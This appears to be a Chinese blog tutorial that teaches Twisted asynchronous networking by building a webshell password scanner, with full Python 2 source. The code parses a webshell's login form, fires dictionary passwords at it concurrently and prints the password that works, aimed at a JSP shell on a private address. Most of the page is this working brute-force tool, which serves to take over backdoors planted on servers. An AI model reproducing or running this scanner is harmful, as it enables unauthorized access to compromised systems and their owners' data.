利用Python的Twisted框架实现webshell密码扫描器的教程

好久以来都一直想学习windows中得iocp技术，即异步通信，但是经过长时间研究别人的c++版本，发现过于深奥了，有点吃力，不过幸好python中的twisted技术的存在方便了我。

iocp即异步通信技术，是windows系统中现在效率最高的一种选择，异步通信顾名思义即与同步通信相对，我们平时写的类似socket.connect  accept等都属于此范畴，同样python中得urlopen也是同步的（为什么提这个，是因为和后面的具体实现有关），总而言之，我们平时写的绝大多数socket，http通信都是同步的。

同步的程序优点是好想，好写。缺点大家都应该感受到过，比如在connect的时候，recive的时候，程序都会阻塞在那里，等上片刻才能继续前进。

异步则是另一种处理思路，类似于xml解析的sax方法，换句话说，就是当面临conncet，recive等任务的时候，程序先去执行别的代码，等到网络通信有了结果，系统会通知你，然后再去回调刚才中断的地方。

具体的代码下面有，我就细说了，大概总结下下面代码涉及到的技术

1.页面解析，webshell密码自动post，必然涉及到页面解析问题，即如何去找到页面中form表单中合适的input元素并提交，其中包括了hidden的有value，password的需要配合字典。具体实现靠的是SGMLParser

2.正常的页面请求，我利用了urlopen（为了使用cookie，实际使用的是opener），片段如下

  cj = cookielib.CookieJar()
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  req = urllib2.Request(url, urllib.urlencode(bodyfieleds))
  resp = opener.open(req, timeout=60)  

  strlist = resp.read()

代码简单，这就是python的魅力，bodyfieleds即为post的参数部分，是一个字典

3.异步的页面请求，这里用了twisted的getpage片段如下：

  self.PostDATA[self.passw] = passl
    #print temp
  zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
  zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)

可以看到如何利用getPage去传递Post参数，以及header（cookie也是防盗header里面的）

以及自定义的Callback函数，可以添加写你需要的参数也传过去，我这里使用了url和pass

4.协程并发，代码如下：

    def InitTask(self):
      for passl in self.passlist[:]:
        d = self.addURL(passl)
        yield d 

  def DoTask(self):
      deferreds = []
      coop = task.Cooperator()
      work = self.InitTask()
      for i in xrange(self.ThreadNum):
        d = coop.coiterate(work)
        deferreds.append(d)
      dl = defer.DeferredList(deferreds)

就是这些了。效率上，我在网络通信较好的情况下，40s可以发包收包大致16000个

 # -*- coding: utf-8 -*-
  #coding=utf-8 

  #
  #
  # code by icefish
  # http://insight-labs.org/
  # http://wcf1987.iteye.com/
  #
  from twisted.internet import iocpreactor
  iocpreactor.install()
  from twisted.web.client import getPage
  from twisted.internet import defer, task
  from twisted.internet import reactor
  import os
  from httplib import HTTPConnection
  import urllib
  import urllib2
  import sys
  import cookielib
  import time
  import threading
  from Queue import LifoQueue
  #import httplib2
  from sgmllib import SGMLParser
  import os
  from httplib import HTTPConnection
  import urllib
  import urllib2
  import sys
  import cookielib
  import time
  import threading
  from Queue import LifoQueue
  from sgmllib import SGMLParser  

  class URLLister(SGMLParser):
    def __init__(self):
      SGMLParser.__init__(self)
      self.input = {}
    def start_input(self, attrs):
      #print attrs 

      for k, v in attrs:
        if k == 'type':
          type = v
        if k == 'name':
          name = v
        if k == 'value':
          value = v
      if type == 'hidden' and value != None:
        self.input[name] = value
      if type == 'password' :
        self.input['icekey'] = name 

  class webShellPassScan(object):
    def __init__(self, url, dict):
      self.url = url
      self.ThreadNum = 10
      self.dict = dict
    def getInput(self, url):
      html, c = self.PostUrl(url, '')
      parse = URLLister()
      parse.feed(html)
      return parse.input 

    def PostUrl(self, url, bodyfieleds):
      try:   

        cj = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        req = urllib2.Request(url, urllib.urlencode(bodyfieleds))
        resp = opener.open(req, timeout=60)  

        strlist = resp.read()
        cookies = []
        for c in cj:
          cookies.append(c.name + '=' + c.value) 

        return strlist, cookies
      except : 

        return '' 

    def parse_page(self, data, url, passk):
      #print url 

      self.TestNum = self.TestNum + 1
      if data != self.sret and len(data) != 0 and data != 'iceerror':
        self.timeEnd = time.time()
        print 'Scan Password End :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeEnd))
        print 'total Scan Time:' + str((self.timeEnd - self.timeStart)), 's'
        print 'total Scan Passwords:' + str(self.TestNum)
        print "*************************the key pass***************************\n"
        print passk
        print "*************************the key pass***************************\n"
        reactor.stop() 

      if self.TestNum % 1000 == 0:
            #print TestNum
            sys.stdout.write('detect Password Num:' + str(self.TestNum) + '\n')
            sys.stdout.flush() 

    def fetch_error(self, error, url, passl):
      self.addURL(passl)
    def run(self): 

        self.timeStart = 0
        self.timeEnd = 0
        self.TestNum = 0
        self.sret = ''
        print '\n\ndetect the WebShell URL:' + self.url
        self.PassNum = 0 

        self.timeStart = time.time()
        print 'Scan Password Start :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeStart))
        filepath = os.path.abspath(os.curdir)
        file = open(filepath + "\\" + self.dict)
        self.passlist = [] 

        for lines in file:
          self.passlist.append(lines.strip())
          #print lines.strip()
        file.close()
        PassNum = len(self.passlist)
        print 'get passwords num:' + str(PassNum) 

        inputdic = self.getInput(self.url)
        self.passw = inputdic['icekey']
        del inputdic['icekey']
        self.PostDATA = dict({self.passw:'icekey'}, **inputdic)
        self.sret, cookies = self.PostUrl(self.url, self.PostDATA)
        self.headers = {'Content-Type':'application/x-www-form-urlencoded'}
        self.headers['cookies'] = cookies
        print 'cookies:' + str(cookies) 

        self.DoTask()
        #self.DoTask2()
        #self.DoTask3()
        print 'start run'
        self.key = 'start'
        reactor.run() 

    def InitTask(self):
      for passl in self.passlist[:]:
        d = self.addURL(passl)
        yield d 

    def InitTask2(self):
      for passl in self.passlist[:]:
        d = self.sem.run(self.addURL, passl)
        self.deferreds.append(d) 

    def InitTask3(self):
      for passl in self.passlist[:]:
        d = self.addURL(passl)
        self.deferreds.append(d) 

    def DoTask(self):
      deferreds = []
      coop = task.Cooperator()
      work = self.InitTask()
      for i in xrange(self.ThreadNum):
        d = coop.coiterate(work)
        deferreds.append(d)
      dl = defer.DeferredList(deferreds)
      #dl.addErrback(self.errorCall)
      #dl.addCallback(self.finish) 

    def DoTask2(self): 

      self.deferreds = []
      self.sem = defer.DeferredSemaphore(self.ThreadNum)
      self.InitTask2()
      dl = defer.DeferredList(self.deferreds) 

    def DoTask3(self): 

      self.deferreds = [] 

      self.InitTask3()
      dl = defer.DeferredList(self.deferreds) 

    def addURL(self, passl): 

      self.PostDATA[self.passw] = passl
        #print temp
      zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
      zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)  

      return zs 

  a = webShellPassScan('http://192.168.0.2:8080/f15.jsp', 'source_new.txt')
  a.run()